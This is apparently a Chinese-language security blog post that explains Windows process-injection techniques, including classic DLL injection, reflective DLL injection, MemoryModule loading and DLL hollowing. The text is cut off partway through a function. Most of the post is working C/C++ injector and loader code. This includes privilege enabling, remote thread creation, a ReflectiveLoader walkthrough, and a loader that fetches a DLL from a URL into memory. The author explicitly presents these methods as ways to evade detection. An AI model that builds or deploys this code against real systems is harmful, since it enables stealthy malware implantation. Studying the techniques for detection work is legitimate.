Process-Inject-壹

statehackers

学习代码存放在:https://github.com/yongsheng220/ProcessInject

进程注入是一种在单独的活动进程中的地址空间中执行任意代码的方法。 在一个进程的上下文中运行特定代码,则有可能访问该进程的内存,系统或网络资源以及提升权限。即将 shellcode/PE “注入” 至某个进程中来尝试规避检测。

根据ATT&CK,针对进程注入有以下12种分类:

  • T1055.001– Dynamic-link Library Injection(dll注入)
  • T1055.002– Portable Executable Injection(PE注入)
  • T1055.003– Thread Execution Hijacking(线程劫持)
  • T1055.004– Asynchronous Procedure Call(APC注入)
  • T1055.005– Thread Local Storage(线程本地存储TLS注入)
  • T1055.008– Ptrace System Calls(Linux下的Ptrace注入)
  • T1055.009– Proc Memory
  • T1055.011– Extra Window Memory Injection(额外窗口内存注入)
  • T1055.012– Process Hollowing(傀儡进程/进程镂空)
  • T1055.013– Process Doppelganging(进程替身/进程分身)
  • T1055.014– VDSO Hijacking
  • T1055.015– ListPlanting(滥用listview控件)

整个关系图如下 ATT&CK-防御绕过之进程注入攻防分析

DLL注入

根据ATT&CK框架,该方法还存在三种变体,我将该方法以及变体总结为以下手法

  • Classic dll injection:(常规dll注入)
  • reflective DLL injection(反射dll注入)
  • memory module(内存模块)
  • Module Stomping/Overloading 或 DLL Hollowing(模块镂空)

经典Dll注入

首先需要恶意dll落地,然后通过远程线程调用LoadLibrary,让目标线程主动加载恶意dll。所以目标进程中的模块列表会有恶意dll。

流程:

  1. 提升当前进程权限(将访问令牌中禁用的权限启用)
  2. 获取要注入进程的PID
  3. 打开目标线程
  4. 开辟内存空间,存储恶意dll绝对路径
  5. 通过目标进程中的kernel32.dll获取LoadLibrary函数地址
  6. 通过CreateRemoteThread远程调用LoadLibrary,使目标进程加载恶意dll

首先要将当前进程得到 SeDebug 权限,将访问令牌中禁用的权限启用。成功调用下面几个函数的前提是进程具备该权限, 只是访问令牌中没有启用该权限. 而如果进程没有该权限, 则使用下面的函数后再调用 GetLastError会返回 ERROR_NOT_ALL_ASSIGN

#include<iostream>
#include<Windows.h>
#include<string>

using namespace std;

BOOL PrivilegeEscalation()
{
HANDLE hToken;
LUID luid;
TOKEN_PRIVILEGES tp;
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);
tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
tp.Privileges[0].Luid = luid;
if (!AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)){
CloseHandle(hToken);
return FALSE;
}
else {
cout << "[+]提权成功" << endl;
return TRUE;
}
}

BOOL RemoteInjectDll(DWORD Pid, char* DllPath)
{
// 打开远程进程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);
// 在 指定进程 中分配内存
size_t dwSize = strlen(DllPath) + 1;
LPVOID pDllAddr = VirtualAllocEx(hProcess,NULL,dwSize, MEM_COMMIT, PAGE_READWRITE);
// 写入到目标进程内存
WriteProcessMemory(hProcess, pDllAddr, DllPath, dwSize, NULL);
// 从Kernel32.dll 中获取 LoadLibrary 函数
HMODULE hker = GetModuleHandleA("kernel32.dll");
FARPROC pLoadAddr = GetProcAddress(hker, "LoadLibraryA");
// 远程调用
HANDLE hRemoteHandle = CreateRemoteThread(hProcess,NULL,0, (LPTHREAD_START_ROUTINE)pLoadAddr, pDllAddr,0,NULL);
if (hRemoteHandle == NULL) {
VirtualFreeEx(hProcess, pDllAddr, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
WaitForSingleObject(hRemoteHandle, INFINITE);

CloseHandle(hRemoteHandle);
VirtualFreeEx(hProcess, pDllAddr, 0, MEM_RELEASE);
CloseHandle(hProcess);
cout << "[+]dll执行成功" << endl;
return TRUE;
}

int main()
{
// 提升当前进程权限
if (!PrivilegeEscalation()) {
cout << "[-]提升权限失败" << endl;
return 0;
}

DWORD PID;
char DllPath[40];

cout << "[.]DLLfile Path :" << endl;cin >> DllPath;
cout << "[.]Target PRocessID :" << endl;cin >> PID;
RemoteInjectDll(PID, DllPath);

return 0;
}

对应进程名为notepad.exe,模块列表显示恶意dll。

PS:当cs执行退出会话时,也会将对应的进程关闭掉。所以注入explorer.exe后退出会话会造成短暂崩溃。但是通过cs的原生inject操作再进行退出会话就不会造成对应进程的崩溃。

反射Dll注入

在学习反射dll注入前,首先学习一下 PE文件结构的前置知识 PE文件结构从初识到简单shellcode注入 与 模拟PE加载过程 手工模拟PE加载器 会更好理解该手法,简单来说当windows加载DLL时有以下步骤:

  1. 检测DOS和PE头的合法性。
  2. 尝试在PEHeader.OptionalHeader.ImageBase位置分配PEHeader.OptionalHeader.SizeOfImage字节的内存区域。
  3. 解析Section header中的每个Section,并将它们的实际内容拷贝到第2步分配的地址空间中。拷贝的目的地址的计算方法为:IMAGE_SECTION_HEADER.VirtualAddress偏移 + 第二步分配的内存区域的起始地址。
  4. 检查加载到进程地址空间的位置和之前PE文件中指定的基地址是否一致,如果不一致,则需要重定位。重定位就需要用到1.2节中的IMAGE_OPTIONAL_HEADER64.DataDirectory[5].
  5. 加载该DLL依赖的其他dll,并构建 PEHeader.OptionalHeader.DataDirectory.Image_directory_entry_import 导入表.
  6. 根据每个Section的”PEHeader.Image_Section_Table.Characteristics”属性来设置内存页的访问属性; 如果被设置为”discardable”属性,则释放该内存页。
  7. 获取DLL的入口函数指针,并使用DLL_PROCESS_ATTACH参数调用。

该注入方法主要特点为:不使用LoadLibrary API函数加载磁盘中的DLL,而是通过内嵌/网络下载恶意DLL到内存中,为恶意DLL添加一个导出函数,该导出函数(称为:ReflectiveLoader)功能是 模拟PE加载的过程从而加载自身,最终只要执行该导出函数便可达到无文件落地内存加载目的。因此通过分析工具在模块列表处是看不到恶意DLL的。

所以完成反射DLL注入需要两部分:1. 带有自实现ReflectiveLoader函数的恶意DLL。2. 注入器。

如图:

在恶意DLL中实现ReflectiveLoader过程中,或者说模拟一个PE加载函数需要这么几步:

image-20240615153954111

代码实现直接参考提出者stephenfewer的开源项目:stephenfewer/ReflectiveDLLInjection

一、定位DLL在内存中的基址

调用_ReturnAddress 返回当前调用函数返回的地址,即函数下一跳指令地址,此时返回的不是DLL头部文件的地址,但是比较接近了。

uiLibraryAddress = caller();

__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); }

然后通过逐字节遍历,查找是否符合DOS头(MZ),接着通过e_lfanew字段得到NT头地址,再校验Signature字段是否符合PE标记。都满足就判定当前 uiLibraryAddress 的地址就是DLL的基址。

while( TRUE )
{
if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
{
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
{
uiHeaderValue += uiLibraryAddress;
// break if we have found a valid MZ/PE header
if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
break;
}
}
uiLibraryAddress--;
}

二、获取所需的系统API函数

通过解析PEB结构体中的 Ldr 中的 InMemoryOrderModuleList 获取指定的 DLL(kernel32.dll、ntdll.dll)

x64下通过gs寄存器获取PEB地址

#ifdef WIN_X64
uiBaseAddress = __readgsqword( 0x60 );
#else
#ifdef WIN_X86
uiBaseAddress = __readfsdword( 0x30 );
#else WIN_ARM
uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 );
#endif
#endif

通过 Ldr.InMemoryOrderModuleList 匹配DLL名称hash。

uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;

uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while( uiValueA )
{
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
uiValueC = 0;
do
{
uiValueC = ror( (DWORD)uiValueC );
if( *((BYTE *)uiValueB) >= 'a' )
uiValueC += *((BYTE *)uiValueB) - 0x20;
else
uiValueC += *((BYTE *)uiValueB);
uiValueB++;
} while( --usCounter );

if( (DWORD)uiValueC == KERNEL32DLL_HASH )
{
......
}

通过继续解析PEB找到 NT头、导出表、导出函数地址数组、导出函数名数组和导出函数序号数组后,对所需函数进行hash匹配,至此获取所需函数地址。

......
if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
{
// get the VA for the array of addresses
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );

// use this functions name ordinal as an index into the array of name pointers
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );

// store this functions VA
if( dwHashValue == LOADLIBRARYA_HASH )
pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == GETPROCADDRESS_HASH )
pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == VIRTUALALLOC_HASH )
pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );

// decrement our counter
usCounter--;
}

三、申请装载DLL的内存空间/复制PE头和各个节

通过 e_lfanew 获取到 NT头中的SizeOfImage,开辟空间,将NT头部信息复制到空间中

uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );

uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
uiValueB = uiLibraryAddress;
uiValueC = uiBaseAddress;

while( uiValueA-- )
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;

同样方式将各个节复制到空间中

// itterate through all sections, loading them into memory.
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while( uiValueE-- )
{
// uiValueB is the VA for this section
uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );

// uiValueC if the VA for this sections data
uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );

// copy the section over
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;

while( uiValueD-- )
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;

// get the VA of the next section
uiValueA += sizeof( IMAGE_SECTION_HEADER );
}

四、处理DLL导入表

PE文件的导入表(Import Table)列出了该文件依赖的外部DLL及其导入的函数。加载器解析导入表,并使用 LoadLibraryGetProcAddress 函数加载所需的DLL,获取导入函数的地址,并填充导入地址表(IAT)

PE加载前

image-20240616005910129

PE加载后:IAT被填充函数地址

image-20240616010142570

// 通过NT头的数据目录获取导出表的地址
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];

uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );

while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
{
// 使用LoadLibraryA加载所需要的DLL
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );

// OriginalFirstThunk
uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );

// IAT
uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );

// 遍历导入的函数
while( DEREF(uiValueA) )
{
// 如果是序号导入
if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
{
// 获取上面LoadLibraryA加载的模块的NT头
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;

uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );

// 定位函数地址:首先计算目标函数在依赖DLL的导出地址表的偏移位置。这个位置的计算方法是通过取函数的序号并减去基序号(导出函数序号的最小值)得出来得的,然后这个偏移量再乘以sizeof(DWORD),就是目标函数在导出地址表的偏移位置。最后再加上uiAddressArray,此变量现在指向目标函数地址的指针
uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );

// 写入到IAT
DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
}
else
{
// 如果是名称导入
uiValueB = ( uiBaseAddress + DEREF(uiValueA) );

// 通过GetProcAddress获取函数地址,写入IAT
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
}
......

五、处理DLL重定位表

在编译PE文件时,编译器通常会指定一个默认的基地址(Image Base),即首选的内存加载地址。当多个DLL或可执行文件试图加载到相同的首选地址时,冲突就会发生。为了避免这种冲突,Windows加载器可能需要将PE文件加载到不同于其首选地址的内存位置。这时,所有基于首选地址的指针和地址引用都需要进行调整,这就是重定位的作用。

// 计算基址偏移量:当前DLL的实际加载地址减去预设的基地址
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;

// 获取重定位表的地址
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];

// 通过检查重定位表是否为空来判断是否存在重定位项
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
{
// uiValueC指向第一个重定位块的地址
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );

// 开始遍历所有重定位块
while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
{
// 获取重定位块的地址
uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );

// 获取重定位块中包含的重定位项的数量
uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );

// uiValueD设置为当前块中的第一个重定位项
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);

// 遍历重定位项
while( uiValueB-- )
{
// 根据重定位项的类型来修正相应的地址
if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);

// 遍历下一个重定位项
uiValueD += sizeof( IMAGE_RELOC );
}

// 遍历下一个重定位块
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
}
}

六、调用DLL入口点

// 获取DLL的入口点
uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );

// 刷新指令缓存,确保CPU的指令缓存没有旧的代码
pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );

// 调用DLLMAIN函数
// 此宏定义表示,如果DLL是通过LoadRemoteLibraryR注入的,则可使用第三个参数作为额外参数给DllMain
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR

((DLLMAIN)uiValueA)( (HINSTANCE), DLL_PROCESS_ATTACH, lpParameter );
#else
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
#endif

// 返回入口点的地址
return uiValueA;

七、在DLLMAIN中添加恶意操作

image-20240617003529139

至此恶意DLL以及导出函数构造完成。

下面分析注入器的流程:首先项目通过读取本地dll文件到内存,然后加载到内存,后续可以改造为远程下载或者嵌入即可实现单PE。

#ifdef WIN_X64
char * cpDllFile = "reflective_dll.x64.dll";
#else
#ifdef WIN_X86
char * cpDllFile = "reflective_dll.dll";
#else WIN_ARM
char * cpDllFile = "reflective_dll.arm.dll";
#endif
#endif

....

hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
if( hFile == INVALID_HANDLE_VALUE )
BREAK_WITH_ERROR( "Failed to open the DLL file" );

dwLength = GetFileSize( hFile, NULL );
if( dwLength == INVALID_FILE_SIZE || dwLength == 0 )
BREAK_WITH_ERROR( "Failed to get the DLL file size" );

// 开辟新空间
lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength );
if( !lpBuffer )
BREAK_WITH_ERROR( "Failed to get the DLL file size" );

// 将DLL读取到新空间中
if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE )
BREAK_WITH_ERROR( "Failed to alloc a buffer!" );

提升当前进程权限

if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
{
priv.PrivilegeCount = 1;
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) )
AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL );

CloseHandle( hToken );
}

打开进程,通过 LoadRemoteLibraryR 将dll注入到目标进程中。

// 打开目标进程
hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId );
if( !hProcess )
BREAK_WITH_ERROR( "Failed to open the target process" );

// 通过LoadRemoteLibraryR注入dll到进程中
hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL );
if( !hModule )
BREAK_WITH_ERROR( "Failed to inject the DLL" );

printf( "[+] Injected the '%s' DLL into process %d.", cpDllFile, dwProcessId );

WaitForSingleObject( hModule, -1 );

来分析下 LoadRemoteLibraryR

// 通过GetReflectiveLoaderOffset找到ReflectiveLoader函数对应的偏移
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
if( !dwReflectiveLoaderOffset )
break;

// 在目标进程中开辟空间
lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
if( !lpRemoteLibraryBuffer )
break;

// 将恶意DLL写到目标进程中
if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) )
break;

// 通过偏移找到ReflectiveLoader函数地址
lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset );

// 远程调用ReflectiveLoader
hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId );

再分析 GetReflectiveLoaderOffset 是怎么找到DLL的ReflectiveLoader偏移。通过遍历DLL的导出表找到ReflectiveLoader,并计算出相对于DLL基地址的偏移量。

DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer )
{
UINT_PTR uiBaseAddress = 0;
UINT_PTR uiExportDir = 0;
UINT_PTR uiNameArray = 0;
UINT_PTR uiAddressArray = 0;
UINT_PTR uiNameOrdinals = 0;
DWORD dwCounter = 0;
#ifdef WIN_X64
DWORD dwCompiledArch = 2;
#else
// This will catch Win32 and WinRT.
DWORD dwCompiledArch = 1;
#endif

// uiBaseAddress初始化为dll的基址
uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer;

// 获取DLL的PE头
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

// 检查DLL的架构(x32 or x64)
if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B ) // PE32
{
if( dwCompiledArch != 1 )
return 0;
}
else if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B ) // PE64
{
if( dwCompiledArch != 2 )
return 0;
}
else
{
return 0;
}

// 定位导出表
uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

// 获取导出表在文件状态下的地址
uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress );

// 获取导出函数名称表在文件状态下的地址
uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress );

// 获取导出函数地址表在文件状态下的地址
uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );

// 获取导出函数序号表在文件状态下的地址
uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress );

// 获取通过函数名称来导出的数量
dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames;

// 遍历所有导出函数
while( dwCounter-- )
{
// 获取导出函数的名称
char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress ));

// 检查导出函数的名称是否是“ReflectiveLoader”
if( strstr( cpExportedFunctionName, "ReflectiveLoader" ) != NULL )
{
// 定位导出函数地址表
uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );

// uiNameOrdinals提供ReflectiveLoader函数的序号,并通过此序号与导出函数地址表的起始位置计算,从而得出ReflectiveLoader函数的地址
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );

// 返回ReflectiveLoader函数在文件状态下的偏移量
return Rva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress );
}

// 指向下一个导出函数的名称
uiNameArray += sizeof(DWORD);

// 指向下一个导出函数的序号
uiNameOrdinals += sizeof(WORD);
}

return 0;
}

至此注入器分析完成。

image-20240617012803371

最后该方法还有变形应用 ReflectiveDLLInjection变形应用,更好的隐藏了特征。

Memory Module

memory module(内存模块)过程非常类似反射DLL加载,二者实现的都是模拟PE加载过程、在内存中加载dll,但是内存模块更为精细,主要差别为:一、反射dll直接将所有代码copy到目标的一片RWX的内存中,内存模块则是按照将不同节进行不同的标记,可以将没有用的节释放掉,因此内存模块在内存中表现的更像正常DLL的属性分布因此更具隐蔽性。二、反射dll所有操作都是由目标进程进行,内存模块操作由本身exe进行自身注入。具体参看项目:https://github.com/fancycode/MemoryModule

QQ_1719931962740

反射DLL:会直接多出两片private的RWX属性内存。

image-20240620105057906

内存模块:

引入 MemoryModule.hMemoryModule.c ,同时改造成远程拉取DLL到内存中。

#include<iostream>
#include <winsock2.h>
#include<Windows.h>
#include<string>
#include <tchar.h>
#include "MemoryModule.h"

#pragma comment(lib, "ws2_32.lib")
using namespace std;

typedef BOOL(*Module)(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved);

char* readUrl(const char* szUrl, long& fileSize)
{
......
}

void LoadFromMemory(void)
{
void* data;
size_t size;
HMEMORYMODULE handle;
Module DllMain;
long fileSize;

data = (void *)readUrl("http://example.com/test.dll",fileSize);
if (data == NULL)
{
cout << "[-]Open DLL Fail" << endl;
return;
}
// 自动触发dllmain
handle = MemoryLoadLibrary(data, size);
MemoryFreeLibrary(handle);
}

int main()
{
LoadFromMemory();
return 0;
}

内存分布还算正常,但还是存在显眼的 “private” RX内存。

image-20240624150049093

PS:由于memory module的特点,项目无法做到直接与进程注入相结合,目前有一个与python相结合的项目 https://github.com/naksyn/PythonMemoryModule,如果未来有公开项目能和进程注入相结合就比较好了

DLL Hollowing

内存类型

在Windows虚拟内存管理中,通过 MEMORY_BASIC_INFORMATION 结构体描述某范围内内存块的具体信息:

typedef struct _MEMORY_BASIC_INFORMATION {
PVOID BaseAddress; //指向查询的内存区域的起始地址
PVOID AllocationBase; //指向分配的内存块的起始地址。 BaseAddress 成员指向的页面包含在此分配范围内。
DWORD AllocationProtect; //分配时的内存保护属性。例如,PAGE_READONLY、PAGE_READWRITE 等
WORD PartitionId; //标识内存区域所属的分区 ID, Win10引入
SIZE_T RegionSize; //从基址开始的区域大小,其中所有页面都具有相同的属性(以字节为单位)
DWORD State; //内存块的当前状态。 MEM_COMMIT(已提交)、MEM_RESERVE(已保留)和 MEM_FREE(空闲)
DWORD Protect; //内存块的当前保护属性。可能的值包括 PAGE_NOACCESS、PAGE_READONLY、PAGE_READWRITE 等
DWORD Type; //内存块的类型。可能的值包括 MEM_IMAGE、MEM_MAPPED和 MEM_PRIVATE
} MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION;

在打开SystemInformer.exe查看内存区域时,可对应内存块类型的三种commit:Private、Mapped、Image

QQ_1719989713022

这三种内存块类型的差异主要为:

  • Private:标识内存块是由进程私有使用的,通常由内存分配函数(如 VirtualAlloc)分配

  • Image:在系统加载运行可执行文件时,标识加载到内存中的可执行文件(PE)和所需动态链接库(DLL)的映像文件,其对应的RX区域为.text段

  • Mapped:标识内存块是通过内存映射文件(memory-mapped files)分配的。这些内存块与磁盘上的文件内容直接关联如:

    .db、.mui和.dat文件从磁盘映射到内存中供应用程序读取


在了解内存块类型差异后,结合前面几种技术所展现的 Private 内存类型的明显特征,思考如果将恶意代码隐藏到另外两种内存类型(Mapped或Image)中,是不是就会有较好的隐匿效果呢?DLL Hollowing就是这样的一种技术,其主要思路为:在目标进程内主动加载一个系统中合法的dll,此时对应内存类型为:Image,然后将dll对应的内存内容覆写为恶意代码,通过执行入口点函数/PE加载 启动恶意代码,同时由于使用了 LoadLibrary系列API、文件映射等手段,避免了使用 VirtualAllocEx,WriteProcessMemory等敏感API

另外在实现此技术时应该注意以下几点:

  • 其IMAGE_SECTION_HEADER.Misc.VirtualSize大于或等于被植入的 shellcode 的大小
  • 此类 DLL 不应加载到目标进程中,因为这意味着它们的修改可能会导致崩溃

很符合 “镂空” 这个词 :),我将此分为五部分:

  • 经典Dll Hollowing
  • Module Overloading
  • Module Stomping
  • bypass cfg
  • 远程注入

经典Dll Hollowing

此处和Module Overloading的学习直接分析项目:https://github.com/hasherezade/module_overloading,此项目通过libPeConv库专门用于加载和操作PE

特点:通过 LoadLibraryA/LoadLibraryEx 引入合法Dll,原项目使用LoadLibraryA,这里修改为LoadLibraryEx,只加载Dll但不执行Dllmain函数

首先将evil PE(implant_name),完整内容copy到buffer中

	// tapi32.dll
std::cout << "target_dll: " << dll_name << "\n";
// evil code
std::cout << "implant_dll: " << implant_name << "\n";
...
size_t raw_size = 0;
// 将evil code的文件原始内容分配到buffer中
BYTE *raw_payload = peconv::load_file(implant_name, raw_size);

#ifdef _DEBUG
std::cerr << "[+] Raw implant loaded\n";
#endif
// 判断符合系统位数
if (!is_compatibile(raw_payload)) {
system("pause");
return -1;
}

开始镂空(module_overloader)通过将PE映射到内存,处理导入导出表后,将合法Dll内存覆写。

// 模块重载
LPVOID mapped = module_overloader(raw_payload, raw_size, dll_name);
-------------------------------------------------------------------------------
PVOID module_overloader(BYTE* raw_payload, size_t raw_size, char *target_dll)
{
// 将 PE 从给定缓冲区加载到内存将其映射为虚拟格式
BYTE* payload = peconv::load_pe_module(raw_payload, raw_size, payload_size, false, false);

// 加载payload导入表
peconv::load_imports(payload)

// 通过 *LoadLibraryEx* 返回Dll地址
PVOID mapped = load_target_dll(target_dll);

// Relocate the payload into the target base:
// payload到Dll地址重定向问题
peconv::relocate_module(payload, payload_size, (ULONGLONG)mapped)

// Overwrite the target DLL with the payload
// 将payload覆盖到Dll内
overwrite_mapping(mapped, payload, payload_size)

return mapped;
}
-------------------------------------------------------------------------------
//覆盖Dll:overwrite_mapping
bool overwrite_mapping(PVOID mapped, BYTE* implant_dll, size_t implant_size)
{
